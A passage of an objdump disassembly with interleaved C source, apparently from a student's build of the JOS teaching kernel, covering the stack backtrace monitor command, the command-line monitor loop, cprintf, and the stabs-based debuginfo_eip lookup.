10 lea 0x10000000(%eax),%edx f0100751: 52 push %edx f0100752: 50 push %eax f0100753: 8d 83 90 fb fe ff lea -0x10470(%ebx),%eax f0100759: 50 push %eax f010075a: e8 0c 03 00 00 call f0100a6b <cprintf> cprintf(" end %08x (virt) %08x (phys)\n", end, end - KERNBASE); f010075f: 83 c4 0c add $0xc,%esp f0100762: c7 c6 a8 29 11 f0 mov $0xf01129a8,%esi f0100768: 8d 86 00 00 00 10 lea 0x10000000(%esi),%eax f010076e: 50 push %eax f010076f: 56 push %esi f0100770: 8d 83 b4 fb fe ff lea -0x1044c(%ebx),%eax f0100776: 50 push %eax f0100777: e8 ef 02 00 00 call f0100a6b <cprintf> cprintf("Kernel executable memory footprint: %dKB\n", f010077c: 83 c4 08 add $0x8,%esp ROUNDUP(end - entry, 1024) / 1024); f010077f: 29 fe sub %edi,%esi f0100781: 81 c6 ff 03 00 00 add $0x3ff,%esi cprintf("Kernel executable memory footprint: %dKB\n", f0100787: c1 fe 0a sar $0xa,%esi f010078a: 56 push %esi f010078b: 8d 83 d8 fb fe ff lea -0x10428(%ebx),%eax f0100791: 50 push %eax f0100792: e8 d4 02 00 00 call f0100a6b <cprintf> return 0; } f0100797: b8 00 00 00 00 mov $0x0,%eax f010079c: 8d 65 f4 lea -0xc(%ebp),%esp f010079f: 5b pop %ebx f01007a0: 5e pop %esi f01007a1: 5f pop %edi f01007a2: 5d pop %ebp f01007a3: c3 ret f01007a4 <mon_backtrace>: int mon_backtrace(int argc, char **argv, struct Trapframe *tf) { f01007a4: f3 0f 1e fb endbr32 f01007a8: 55 push %ebp f01007a9: 89 e5 mov %esp,%ebp f01007ab: 57 push %edi f01007ac: 56 push %esi f01007ad: 53 push %ebx f01007ae: 83 ec 48 sub $0x48,%esp f01007b1: e8 78 02 00 00 call f0100a2e <__x86.get_pc_thunk.bx> f01007b6: 81 c3 4e 1b 01 00 add $0x11b4e,%ebx static __inline uint32_t read_ebp(void) { uint32_t ebp; __asm __volatile("movl %%ebp,%0" : "=r" (ebp)); f01007bc: 89 e8 mov %ebp,%eax // Your code here. unsigned int *ebp = ((unsigned int*)read_ebp()); f01007be: 89 c7 mov %eax,%edi cprintf("Stack backtrace:\n"); f01007c0: 8d 83 f4 f9 fe ff lea -0x1060c(%ebx),%eax f01007c6: 50 push %eax f01007c7: e8 9f 02 00 00 call f0100a6b <cprintf> while(ebp) { f01007cc: 83 c4 10 add $0x10,%esp cprintf("ebp %08x ", ebp); f01007cf: 8d 83 06 fa fe ff lea -0x105fa(%ebx),%eax f01007d5: 89 45 bc mov %eax,-0x44(%ebp) cprintf("eip %08x args", ebp[1]); f01007d8: 8d 83 10 fa fe ff lea -0x105f0(%ebx),%eax f01007de: 89 45 b8 mov %eax,-0x48(%ebp) while(ebp) { f01007e1: eb 46 jmp f0100829 <mon_backtrace+0x85> f01007e3: 8b 7d c0 mov -0x40(%ebp),%edi for(int i = 2; i <= 6; i++) cprintf(" %08x", ebp[i]); cprintf("\n"); f01007e6: 83 ec 0c sub $0xc,%esp f01007e9: 8d 83 4a f7 fe ff lea -0x108b6(%ebx),%eax f01007ef: 50 push %eax f01007f0: e8 76 02 00 00 call f0100a6b <cprintf> unsigned int eip = ebp[1]; f01007f5: 8b 77 04 mov 0x4(%edi),%esi struct Eipdebuginfo info; debuginfo_eip(eip, &info); f01007f8: 83 c4 08 add $0x8,%esp f01007fb: 8d 45 d0 lea -0x30(%ebp),%eax f01007fe: 50 push %eax f01007ff: 56 push %esi f0100800: e8 70 03 00 00 call f0100b75 <debuginfo_eip> cprintf("\t%s:%d: %.*s+%d\n", f0100805: 83 c4 08 add $0x8,%esp f0100808: 2b 75 e0 sub -0x20(%ebp),%esi f010080b: 56 push %esi f010080c: ff 75 d8 pushl -0x28(%ebp) f010080f: ff 75 dc pushl -0x24(%ebp) f0100812: ff 75 d4 pushl -0x2c(%ebp) f0100815: ff 75 d0 pushl -0x30(%ebp) f0100818: 8d 83 24 fa fe ff lea -0x105dc(%ebx),%eax f010081e: 50 push %eax f010081f: e8 47 02 00 00 call f0100a6b <cprintf> info.eip_file, info.eip_line, info.eip_fn_namelen, info.eip_fn_name, eip-info.eip_fn_addr); ebp = (unsigned int*)(*ebp); f0100824: 8b 3f mov (%edi),%edi f0100826: 83 c4 20 add $0x20,%esp while(ebp) { f0100829: 85 ff test %edi,%edi f010082b: 74 4c je f0100879 <mon_backtrace+0xd5> cprintf("ebp %08x ", ebp); f010082d: 83 ec 08 sub $0x8,%esp f0100830: 57 push %edi f0100831: ff 75 bc pushl -0x44(%ebp) f0100834: e8 32 02 00 00 call f0100a6b <cprintf> cprintf("eip %08x args", ebp[1]); f0100839: 83 c4 08 add $0x8,%esp f010083c: ff 77 04 pushl 0x4(%edi) f010083f: ff 75 b8 pushl -0x48(%ebp) f0100842: e8 24 02 00 00 call f0100a6b <cprintf> f0100847: 8d 77 08 lea 0x8(%edi),%esi f010084a: 8d 47 1c lea 0x1c(%edi),%eax f010084d: 89 45 c4 mov %eax,-0x3c(%ebp) f0100850: 83 c4 10 add $0x10,%esp cprintf(" %08x", ebp[i]); f0100853: 8d 83 1e fa fe ff lea -0x105e2(%ebx),%eax f0100859: 89 7d c0 mov %edi,-0x40(%ebp) f010085c: 89 c7 mov %eax,%edi f010085e: 83 ec 08 sub $0x8,%esp f0100861: ff 36 pushl (%esi) f0100863: 57 push %edi f0100864: e8 02 02 00 00 call f0100a6b <cprintf> f0100869: 83 c6 04 add $0x4,%esi for(int i = 2; i <= 6; i++) f010086c: 83 c4 10 add $0x10,%esp f010086f: 3b 75 c4 cmp -0x3c(%ebp),%esi f0100872: 75 ea jne f010085e <mon_backtrace+0xba> f0100874: e9 6a ff ff ff jmp f01007e3 <mon_backtrace+0x3f> } return 0; } f0100879: b8 00 00 00 00 mov $0x0,%eax f010087e: 8d 65 f4 lea -0xc(%ebp),%esp f0100881: 5b pop %ebx f0100882: 5e pop %esi f0100883: 5f pop %edi f0100884: 5d pop %ebp f0100885: c3 ret f0100886 <monitor>: return 0; } void monitor(struct Trapframe *tf) { f0100886: f3 0f 1e fb endbr32 f010088a: 55 push %ebp f010088b: 89 e5 mov %esp,%ebp f010088d: 57 push %edi f010088e: 56 push %esi f010088f: 53 push %ebx f0100890: 83 ec 68 sub $0x68,%esp f0100893: e8 96 01 00 00 call f0100a2e <__x86.get_pc_thunk.bx> f0100898: 81 c3 6c 1a 01 00 add $0x11a6c,%ebx char *buf; cprintf("Welcome to the JOS kernel monitor!\n"); f010089e: 8d 83 04 fc fe ff lea -0x103fc(%ebx),%eax f01008a4: 50 push %eax f01008a5: e8 c1 01 00 00 call f0100a6b <cprintf> cprintf("Type 'help' for a list of commands.\n"); f01008aa: 8d 83 28 fc fe ff lea -0x103d8(%ebx),%eax f01008b0: 89 04 24 mov %eax,(%esp) f01008b3: e8 b3 01 00 00 call f0100a6b <cprintf> cprintf("%m%s\n%m%s\n%m%s\n", 0x0100, "blue", 0x0200, "green", 0x0400, "red"); f01008b8: 83 c4 0c add $0xc,%esp f01008bb: 8d 83 35 fa fe ff lea -0x105cb(%ebx),%eax f01008c1: 50 push %eax f01008c2: 68 00 04 00 00 push $0x400 f01008c7: 8d 83 39 fa fe ff lea -0x105c7(%ebx),%eax f01008cd: 50 push %eax f01008ce: 68 00 02 00 00 push $0x200 f01008d3: 8d 83 3f fa fe ff lea -0x105c1(%ebx),%eax f01008d9: 50 push %eax f01008da: 68 00 01 00 00 push $0x100 f01008df: 8d 83 44 fa fe ff lea -0x105bc(%ebx),%eax f01008e5: 50 push %eax f01008e6: e8 80 01 00 00 call f0100a6b <cprintf> cprintf("This is Jack and we need some urgent help!!!\n"); f01008eb: 83 c4 14 add $0x14,%esp f01008ee: 8d 83 50 fc fe ff lea -0x103b0(%ebx),%eax f01008f4: 50 push %eax f01008f5: e8 71 01 00 00 call f0100a6b <cprintf> f01008fa: 83 c4 10 add $0x10,%esp while (*buf && strchr(WHITESPACE, *buf)) f01008fd: 8d 83 58 fa fe ff lea -0x105a8(%ebx),%eax f0100903: 89 45 a0 mov %eax,-0x60(%ebp) f0100906: e9 d1 00 00 00 jmp f01009dc <monitor+0x156> f010090b: 83 ec 08 sub $0x8,%esp f010090e: 0f be c0 movsbl %al,%eax f0100911: 50 push %eax f0100912: ff 75 a0 pushl -0x60(%ebp) f0100915: e8 03 0c 00 00 call f010151d <strchr> f010091a: 83 c4 10 add $0x10,%esp f010091d: 85 c0 test %eax,%eax f010091f: 74 6d je f010098e <monitor+0x108> *buf++ = 0; f0100921: c6 06 00 movb $0x0,(%esi) f0100924: 89 7d a4 mov %edi,-0x5c(%ebp) f0100927: 8d 76 01 lea 0x1(%esi),%esi f010092a: 8b 7d a4 mov -0x5c(%ebp),%edi while (*buf && strchr(WHITESPACE, *buf)) f010092d: 0f b6 06 movzbl (%esi),%eax f0100930: 84 c0 test %al,%al f0100932: 75 d7 jne f010090b <monitor+0x85> argv[argc] = 0; f0100934: c7 44 bd a8 00 00 00 movl $0x0,-0x58(%ebp,%edi,4) f010093b: 00 if (argc == 0) f010093c: 85 ff test %edi,%edi f010093e: 0f 84 98 00 00 00 je f01009dc <monitor+0x156> f0100944: 8d b3 1c 00 00 00 lea 0x1c(%ebx),%esi for (i = 0; i < NCOMMANDS; i++) { f010094a: b8 00 00 00 00 mov $0x0,%eax f010094f: 89 7d a4 mov %edi,-0x5c(%ebp) f0100952: 89 c7 mov %eax,%edi if (strcmp(argv[0], commands[i].name) == 0) f0100954: 83 ec 08 sub $0x8,%esp f0100957: ff 36 pushl (%esi) f0100959: ff 75 a8 pushl -0x58(%ebp) f010095c: e8 5e 0b 00 00 call f01014bf <strcmp> f0100961: 83 c4 10 add $0x10,%esp f0100964: 85 c0 test %eax,%eax f0100966: 0f 84 99 00 00 00 je f0100a05 <monitor+0x17f> for (i = 0; i < NCOMMANDS; i++) { f010096c: 83 c7 01 add $0x1,%edi f010096f: 83 c6 0c add $0xc,%esi f0100972: 83 ff 03 cmp $0x3,%edi f0100975: 75 dd jne f0100954 <monitor+0xce> cprintf("Unknown command '%s'\n", argv[0]); f0100977: 83 ec 08 sub $0x8,%esp f010097a: ff 75 a8 pushl -0x58(%ebp) f010097d: 8d 83 7a fa fe ff lea -0x10586(%ebx),%eax f0100983: 50 push %eax f0100984: e8 e2 00 00 00 call f0100a6b <cprintf> return 0; f0100989: 83 c4 10 add $0x10,%esp f010098c: eb 4e jmp f01009dc <monitor+0x156> if (*buf == 0) f010098e: 80 3e 00 cmpb $0x0,(%esi) f0100991: 74 a1 je f0100934 <monitor+0xae> if (argc == MAXARGS-1) { f0100993: 83 ff 0f cmp $0xf,%edi f0100996: 74 30 je f01009c8 <monitor+0x142> argv[argc++] = buf; f0100998: 8d 47 01 lea 0x1(%edi),%eax f010099b: 89 45 a4 mov %eax,-0x5c(%ebp) f010099e: 89 74 bd a8 mov %esi,-0x58(%ebp,%edi,4) while (*buf && !strchr(WHITESPACE, *buf)) f01009a2: 0f b6 06 movzbl (%esi),%eax f01009a5: 84 c0 test %al,%al f01009a7: 74 81 je f010092a <monitor+0xa4> f01009a9: 83 ec 08 sub $0x8,%esp f01009ac: 0f be c0 movsbl %al,%eax f01009af: 50 push %eax f01009b0: ff 75 a0 pushl -0x60(%ebp) f01009b3: e8 65 0b 00 00 call f010151d <strchr> f01009b8: 83 c4 10 add $0x10,%esp f01009bb: 85 c0 test %eax,%eax f01009bd: 0f 85 67 ff ff ff jne f010092a <monitor+0xa4> buf++; f01009c3: 83 c6 01 add $0x1,%esi f01009c6: eb da jmp f01009a2 <monitor+0x11c> cprintf("Too many arguments (max %d)\n", MAXARGS); f01009c8: 83 ec 08 sub $0x8,%esp f01009cb: 6a 10 push $0x10 f01009cd: 8d 83 5d fa fe ff lea -0x105a3(%ebx),%eax f01009d3: 50 push %eax f01009d4: e8 92 00 00 00 call f0100a6b <cprintf> return 0; f01009d9: 83 c4 10 add $0x10,%esp while (1) { buf = readline("K> "); f01009dc: 8d bb 54 fa fe ff lea -0x105ac(%ebx),%edi f01009e2: 83 ec 0c sub $0xc,%esp f01009e5: 57 push %edi f01009e6: e8 18 09 00 00 call f0101303 <readline> if (buf != NULL) f01009eb: 83 c4 10 add $0x10,%esp f01009ee: 85 c0 test %eax,%eax f01009f0: 74 f0 je f01009e2 <monitor+0x15c> f01009f2: 89 c6 mov %eax,%esi argv[argc] = 0; f01009f4: c7 45 a8 00 00 00 00 movl $0x0,-0x58(%ebp) argc = 0; f01009fb: bf 00 00 00 00 mov $0x0,%edi f0100a00: e9 28 ff ff ff jmp f010092d <monitor+0xa7> f0100a05: 89 f8 mov %edi,%eax f0100a07: 8b 7d a4 mov -0x5c(%ebp),%edi return commands[i].func(argc, argv, tf); f0100a0a: 83 ec 04 sub $0x4,%esp f0100a0d: 8d 04 40 lea (%eax,%eax,2),%eax f0100a10: ff 75 08 pushl 0x8(%ebp) f0100a13: 8d 55 a8 lea -0x58(%ebp),%edx f0100a16: 52 push %edx f0100a17: 57 push %edi f0100a18: ff 94 83 24 00 00 00 call *0x24(%ebx,%eax,4) if (runcmd(buf, tf) < 0) f0100a1f: 83 c4 10 add $0x10,%esp f0100a22: 85 c0 test %eax,%eax f0100a24: 79 b6 jns f01009dc <monitor+0x156> break; } } f0100a26: 8d 65 f4 lea -0xc(%ebp),%esp f0100a29: 5b pop %ebx f0100a2a: 5e pop %esi f0100a2b: 5f pop %edi f0100a2c: 5d pop %ebp f0100a2d: c3 ret f0100a2e <__x86.get_pc_thunk.bx>: f0100a2e: 8b 1c 24 mov (%esp),%ebx f0100a31: c3 ret f0100a32 <putch>: #include <inc/stdarg.h> static void putch(int ch, int *cnt) { f0100a32: 55 push %ebp f0100a33: 89 e5 mov %esp,%ebp f0100a35: 83 ec 14 sub $0x14,%esp cputchar(ch); f0100a38: ff 75 08 pushl 0x8(%ebp) f0100a3b: e8 f9 fb ff ff call f0100639 <cputchar> *cnt++; } f0100a40: 83 c4 10 add $0x10,%esp f0100a43: c9 leave f0100a44: c3 ret f0100a45 <vcprintf>: int vcprintf(const char *fmt, va_list ap) { f0100a45: 55 push %ebp f0100a46: 89 e5 mov %esp,%ebp f0100a48: 83 ec 18 sub $0x18,%esp int cnt = 0; f0100a4b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) vprintfmt((void*)putch, &cnt, fmt, ap); f0100a52: ff 75 0c pushl 0xc(%ebp) f0100a55: ff 75 08 pushl 0x8(%ebp) f0100a58: 8d 45 f4 lea -0xc(%ebp),%eax f0100a5b: 50 push %eax f0100a5c: 68 32 0a 10 f0 push $0xf0100a32 f0100a61: e8 42 04 00 00 call f0100ea8 <vprintfmt> return cnt; } f0100a66: 8b 45 f4 mov -0xc(%ebp),%eax f0100a69: c9 leave f0100a6a: c3 ret f0100a6b <cprintf>: int cprintf(const char *fmt, ...) { f0100a6b: 55 push %ebp f0100a6c: 89 e5 mov %esp,%ebp f0100a6e: 83 ec 10 sub $0x10,%esp va_list ap; int cnt; va_start(ap, fmt); f0100a71: 8d 45 0c lea 0xc(%ebp),%eax cnt = vcprintf(fmt, ap); f0100a74: 50 push %eax f0100a75: ff 75 08 pushl 0x8(%ebp) f0100a78: e8 c8 ff ff ff call f0100a45 <vcprintf> va_end(ap); return cnt; } f0100a7d: c9 leave f0100a7e: c3 ret f0100a7f <stab_binsearch>: // will exit setting left = 118, right = 554. // static void stab_binsearch(const struct Stab *stabs, int *region_left, int *region_right, int type, uintptr_t addr) { f0100a7f: 55 push %ebp f0100a80: 89 e5 mov %esp,%ebp f0100a82: 57 push %edi f0100a83: 56 push %esi f0100a84: 53 push %ebx f0100a85: 83 ec 14 sub $0x14,%esp f0100a88: 89 45 ec mov %eax,-0x14(%ebp) f0100a8b: 89 55 e4 mov %edx,-0x1c(%ebp) f0100a8e: 89 4d e0 mov %ecx,-0x20(%ebp) f0100a91: 8b 7d 08 mov 0x8(%ebp),%edi int l = *region_left, r = *region_right, any_matches = 0; f0100a94: 8b 1a mov (%edx),%ebx f0100a96: 8b 01 mov (%ecx),%eax f0100a98: 89 45 f0 mov %eax,-0x10(%ebp) f0100a9b: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) while (l <= r) { f0100aa2: eb 7f jmp f0100b23 <stab_binsearch+0xa4> int true_m = (l + r) / 2, m = true_m; f0100aa4: 8b 45 f0 mov -0x10(%ebp),%eax f0100aa7: 01 d8 add %ebx,%eax f0100aa9: 89 c6 mov %eax,%esi f0100aab: c1 ee 1f shr $0x1f,%esi f0100aae: 01 c6 add %eax,%esi f0100ab0: d1 fe sar %esi f0100ab2: 8d 04 76 lea (%esi,%esi,2),%eax f0100ab5: 8b 4d ec mov -0x14(%ebp),%ecx f0100ab8: 8d 14 81 lea (%ecx,%eax,4),%edx f0100abb: 89 f0 mov %esi,%eax // search for earliest stab with right type while (m >= l && stabs[m].n_type != type) f0100abd: eb 03 jmp f0100ac2 <stab_binsearch+0x43> m--; f0100abf: 83 e8 01 sub $0x1,%eax while (m >= l && stabs[m].n_type != type) f0100ac2: 39 c3 cmp %eax,%ebx f0100ac4: 7f 0d jg f0100ad3 <stab_binsearch+0x54> f0100ac6: 0f b6 4a 04 movzbl 0x4(%edx),%ecx f0100aca: 83 ea 0c sub $0xc,%edx f0100acd: 39 f9 cmp %edi,%ecx f0100acf: 75 ee jne f0100abf <stab_binsearch+0x40> f0100ad1: eb 05 jmp f0100ad8 <stab_binsearch+0x59> if (m < l) { // no match in [l, m] l = true_m + 1; f0100ad3: 8d 5e 01 lea 0x1(%esi),%ebx continue; f0100ad6: eb 4b jmp f0100b23 <stab_binsearch+0xa4> } // actual binary search any_matches = 1; if (stabs[m].n_value < addr) { f0100ad8: 8d 14 40 lea (%eax,%eax,2),%edx f0100adb: 8b 4d ec mov -0x14(%ebp),%ecx f0100ade: 8b 54 91 08 mov 0x8(%ecx,%edx,4),%edx f0100ae2: 39 55 0c cmp %edx,0xc(%ebp) f0100ae5: 76 11 jbe f0100af8 <stab_binsearch+0x79> *region_left = m; f0100ae7: 8b 5d e4 mov -0x1c(%ebp),%ebx f0100aea: 89 03 mov %eax,(%ebx) l = true_m + 1; f0100aec: 8d 5e 01 lea 0x1(%esi),%ebx any_matches = 1; f0100aef: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp) f0100af6: eb 2b jmp f0100b23 <stab_binsearch+0xa4> } else if (stabs[m].n_value > addr) { f0100af8: 39 55 0c cmp %edx,0xc(%ebp) f0100afb: 73 14 jae f0100b11 <stab_binsearch+0x92> *region_right = m - 1; f0100afd: 83 e8 01 sub $0x1,%eax f0100b00: 89 45 f0 mov %eax,-0x10(%ebp) f0100b03: 8b 75 e0 mov -0x20(%ebp),%esi f0100b06: 89 06 mov %eax,(%esi) any_matches = 1; f0100b08: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp) f0100b0f: eb 12 jmp f0100b23 <stab_binsearch+0xa4> r = m - 1; } else { // exact match for 'addr', but continue loop to find // *region_right *region_left = m; f0100b11: 8b 75 e4 mov -0x1c(%ebp),%esi f0100b14: 89 06 mov %eax,(%esi) l = m; addr++; f0100b16: 83 45 0c 01 addl $0x1,0xc(%ebp) f0100b1a: 89 c3 mov %eax,%ebx any_matches = 1; f0100b1c: c7 45 e8 01 00 00 00 movl $0x1,-0x18(%ebp) while (l <= r) { f0100b23: 3b 5d f0 cmp -0x10(%ebp),%ebx f0100b26: 0f 8e 78 ff ff ff jle f0100aa4 <stab_binsearch+0x25> } } if (!any_matches) f0100b2c: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) f0100b30: 75 0f jne f0100b41 <stab_binsearch+0xc2> *region_right = *region_left - 1; f0100b32: 8b 45 e4 mov -0x1c(%ebp),%eax f0100b35: 8b 00 mov (%eax),%eax f0100b37: 83 e8 01 sub $0x1,%eax f0100b3a: 8b 75 e0 mov -0x20(%ebp),%esi f0100b3d: 89 06 mov %eax,(%esi) f0100b3f: eb 2c jmp f0100b6d <stab_binsearch+0xee> else { // find rightmost region containing 'addr' for (l = *region_right; f0100b41: 8b 45 e0 mov -0x20(%ebp),%eax f0100b44: 8b 00 mov (%eax),%eax l > *region_left && stabs[l].n_type != type; f0100b46: 8b 75 e4 mov -0x1c(%ebp),%esi f0100b49: 8b 0e mov (%esi),%ecx f0100b4b: 8d 14 40 lea (%eax,%eax,2),%edx f0100b4e: 8b 75 ec mov -0x14(%ebp),%esi f0100b51: 8d 14 96 lea (%esi,%edx,4),%edx for (l = *region_right; f0100b54: eb 03 jmp f0100b59 <stab_binsearch+0xda> l--) f0100b56: 83 e8 01 sub $0x1,%eax for (l = *region_right; f0100b59: 39 c8 cmp %ecx,%eax f0100b5b: 7e 0b jle f0100b68 <stab_binsearch+0xe9> l > *region_left && stabs[l].n_type != type; f0100b5d: 0f b6 5a 04 movzbl 0x4(%edx),%ebx f0100b61: 83 ea 0c sub $0xc,%edx f0100b64: 39 df cmp %ebx,%edi f0100b66: 75 ee jne f0100b56 <stab_binsearch+0xd7> /* do nothing */; *region_left = l; f0100b68: 8b 75 e4 mov -0x1c(%ebp),%esi f0100b6b: 89 06 mov %eax,(%esi) } } f0100b6d: 83 c4 14 add $0x14,%esp f0100b70: 5b pop %ebx f0100b71: 5e pop %esi f0100b72: 5f pop %edi f0100b73: 5d pop %ebp f0100b74: c3 ret f0100b75 <debuginfo_eip>: // negative if not. But even if it returns negative it has stored some // information into '*info'. // int debuginfo_eip(uintptr_t addr, struct Eipdebuginfo *info) { f0100b75: 55 push %ebp f0100b76: 89 e5 mov %esp,%ebp f0100b78: 57 push %edi f0100b79: 56 push %esi f0100b7a: 53 push %ebx f0100b7b: 83 ec 3c sub $0x3c,%esp f0100b7e: 8b 75 08 mov 0x8(%ebp),%esi f0100b81: 8b 5d 0c mov 0xc(%ebp),%ebx const struct Stab *stabs, *stab_end; const char *stabstr, *stabstr_end; int lfile, rfile, lfun, rfun, lline, rline; // Initialize *info info->eip_file = "<unknown>"; f0100b84: c7 03 82 1f 10 f0 movl $0xf0101f82,(%ebx) info->eip_line = 0; f0100b8a: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx) info->eip_fn_name = "<unknown>"; f0100b91: c7 43 08 82 1f 10 f0 movl $0xf0101f82,0x8(%ebx) info->eip_fn_namelen = 9; f0100b98: c7 43 0c 09 00 00 00 movl $0x9,0xc(%ebx) info->eip_fn_addr = addr; f0100b9f: 89 73 10 mov %esi,0x10(%ebx) info->eip_fn_narg = 0; f0100ba2: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) // Find the relevant set of stabs if (addr >= ULIM) { f0100ba9: 81 fe ff ff 7f ef cmp $0xef7fffff,%esi f0100baf: 76 11 jbe f0100bc2 <debuginfo_eip+0x4d> // Can't search for user-level addresses yet! panic("User address"); } // String table validity checks if (stabstr_end <= stabstr || stabstr_end[-1] != 0) f0100bb1: b8 35 78 10 f0 mov $0xf0107835,%eax f0100bb6: 3d a1 5d 10 f0 cmp $0xf0105da1,%eax f0100bbb: 77 19 ja f0100bd6 <debuginfo_eip+0x61> f0100bbd: e9 a1 01 00 00 jmp f0100d63 <debuginfo_eip+0x1ee> panic("User address"); f0100bc2: 83 ec 04 sub $0x4,%esp f0100bc5: 68 8c 1f 10 f0 push $0xf0101f8c f0100bca: 6a 7f push $0x7f f0100bcc: 68 99 1f 10 f0 push $0xf0101f99 f0100bd1: e8 10 f5 ff ff call f01000e6 <_panic> if (stabstr_end <= stabstr || stabstr_end[-1] != 0) f0100bd6: 80 3d 34 78 10 f0 00 cmpb $0x0,0xf0107834 f0100bdd: 0f 85 87 01 00 00 jne f0100d6a <debuginfo_eip+0x1f5> // 'eip'. First, we find the basic source file containing 'eip'. // Then, we look in that source file for the function. Then we look // for the line number. // Search the entire set of stabs for the source file (type N_SO). lfile = 0; f0100be3: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) rfile = (stab_end - stabs) - 1; f0100bea: b8 a0 5d 10 f0 mov $0xf0105da0,%eax f0100bef: 2d d0 21 10 f0 sub $0xf01021d0,%eax f0100bf4: c1 f8 02 sar $0x2,%eax f0100bf7: 69 c0 ab aa aa aa imul $0xaaaaaaab,%eax,%eax f0100bfd: 83 e8 01 sub $0x1,%eax f0100c00: 89 45 e0 mov %eax,-0x20(%ebp) stab_binsearch(stabs, &lfile, &rfile, N_SO, addr); f0100c03: 83 ec 08 sub $0x8,%esp f0100c06: 56 push %esi f0100c07: 6a 64 push $0x64 f0100c09: 8d 4d e0 lea -0x20(%ebp),%ecx f0100c0c: 8d 55 e4 lea -0x1c(%ebp),%edx f0100c0f: b8 d0 21 10 f0 mov $0xf01021d0,%eax f0100c14: e8 66 fe ff ff call f0100a7f <stab_binsearch> if (lfile == 0) f0100c19: 8b 45 e4 mov -0x1c(%ebp),%eax f0100c1c: 83 c4 10 add $0x10,%esp f0100c1f: 85 c0 test %eax,%eax f0100c21: 0f 84 4a 01 00 00 je f0100d71 <debuginfo_eip+0x1fc> return -1; // Search within that file's stabs for the function definition // (N_FUN). lfun = lfile; f0100c27: 89 45 dc mov %eax,-0x24(%ebp) rfun = rfile; f0100c2a: 8b 45 e0 mov -0x20(%ebp),%eax f0100c2d: 89 45 d8 mov %eax,-0x28(%ebp) stab_binsearch(stabs, &lfun, &rfun, N_FUN, addr); f0100c30: 83 ec 08 sub $0x8,%esp f0100c33: 56 push %esi f0100c34: 6a 24 push $0x24 f0100c36: 8d 4d d8 lea -0x28(%ebp),%ecx f0100c39: 8d 55 dc lea -0x24(%ebp),%edx f0100c3c: b8 d0 21 10 f0 mov $0xf01021d0,%eax f0100c41: e8 39 fe ff ff call f0100a7f <stab_binsearch> if (lfun <= rfun) { f0100c46: 8b 45 dc mov -0x24(%ebp),%eax f0100c49: 8b 55 d8 mov -0x28(%ebp),%edx f0100c4c: 83 c4 10 add $0x10,%esp f0100c4f: 39 d0 cmp %edx,%eax f0100c51: 7f 40 jg f0100c93 <debuginfo_eip+0x11e> // stabs[lfun] points to the function name // in the string table, but check bounds just in case. if (stabs[lfun].n_strx < stabstr_end - stabstr) f0100c53: 8d 0c 40 lea (%eax,%eax,2),%ecx f0100c56: c1 e1 02 shl $0x2,%ecx f0100c59: 8d b9 d0 21 10 f0 lea -0xfefde30(%ecx),%edi f0100c5f: 89 7d c4 mov %edi,-0x3c(%ebp) f0100c62: 8b b9 d0 21 10 f0 mov -0xfefde30(%ecx),%edi f0100c68: b9 35 78 10 f0 mov $0xf0107835,%ecx f0100c6d: 81 e9 a1 5d 10 f0 sub $0xf0105da1,%ecx f0100c73: 39 cf cmp %ecx,%edi f0100c75: 73 09 jae f0100c80 <debuginfo_eip+0x10b> info->eip_fn_name = stabstr + stabs[lfun].n_strx; f0100c77: 81 c7 a1 5d 10 f0 add $0xf0105da1,%edi f0100c7d: 89 7b 08 mov %edi,0x8(%ebx) info->eip_fn_addr = stabs[lfun].n_value; f0100c80: 8b 7d c4 mov -0x3c(%ebp),%edi f0100c83: 8b 4f 08 mov 0x8(%edi),%ecx f0100c86: 89 4b 10 mov %ecx,0x10(%ebx) addr -= info->eip_fn_addr; f0100c89: 29 ce sub %ecx,%esi // Search within the function definition for the line number. lline = lfun; f0100c8b: 89 45 d4 mov %eax,-0x2c(%ebp) rline = rfun; f0100c8e: 89 55 d0 mov %edx,-0x30(%ebp) f0100c91: eb 0f jmp f0100ca2 <debuginfo_eip+0x12d> } else { // Couldn't find function stab! Maybe we're in an assembly // file. Search the whole file for the line number. info->eip_fn_addr = addr; f0100c93: 89 73 10 mov %esi,0x10(%ebx) lline = lfile; f0100c96: 8b 45 e4 mov -0x1c(%ebp),%eax f0100c99: 89 45 d4 mov %eax,-0x2c(%ebp) rline = rfile; f0100c9c: 8b 45 e0 mov -0x20(%ebp),%eax f0100c9f: 89 45 d0 mov %eax,-0x30(%ebp) } // Ignore stuff after the colon. info->eip_fn_namelen = strfind(info->eip_fn_name, ':') - info->eip_fn_name; f0100ca2: 83 ec 08 sub $0x8,%esp f0100ca5: 6a 3a push $0x3a f0100ca7: ff 73 08 pushl 0x8(%ebx) f0100caa: e8 8f 08 00 00 call f010153e <strfind> f0100caf: 2b 43 08 sub 0x8(%ebx),%eax f0100cb2: 89 43 0c mov %eax,0xc(%ebx) // Hint: // There's a particular stabs type used for line numbers. // Look at the STABS documentation and <inc/stab.h> to find // which one. // Your code here. stab_binsearch(stabs, &lline, &rline, N_SLINE, addr); f0100cb5: 83 c4 08 add $0x8,%esp f0100cb8: 56 push %esi f0100cb9: 6a 44 push $0x44 f0100cbb: 8d 4d d0 lea -0x30(%ebp),%ecx f0100cbe: 8d 55 d4 lea -0x2c(%ebp),%edx f0100cc1: b8 d0 21 10 f0 mov $0xf01021d0,%eax f0100cc6: e8 b4 fd ff ff call f0100a7f <stab_binsearch> info->eip_line = stabs[lline].n_desc; f0100ccb: 8b 55 d4 mov -0x2c(%ebp),%edx f0100cce: 8d 04 52 lea (%edx,%edx,2),%eax f0100cd1: 8d 04 85 d0 21 10 f0 lea -0xfefde30(,%eax,4),%eax f0100cd8: 0f b7 48 06 movzwl 0x6(%eax),%ecx f0100cdc: 89 4b 04 mov %ecx,0x4(%ebx) // Search backwards from the line number for the relevant filename // stab. // We can't just use the "lfile" stab because inlined functions // can interpolate code from a different file! // Such included source files use the N_SOL stab type. while (lline >= lfile f0100cdf: 8b 75 e4 mov -0x1c(%ebp),%esi f0100ce2: 83 c4 10 add $0x10,%esp f0100ce5: eb 06 jmp f0100ced <debuginfo_eip+0x178> f0100ce7: 83 ea 01 sub $0x1,%edx f0100cea: 83 e8 0c sub $0xc,%eax f0100ced: 39 d6 cmp %edx,%esi f0100cef: 7f 34 jg 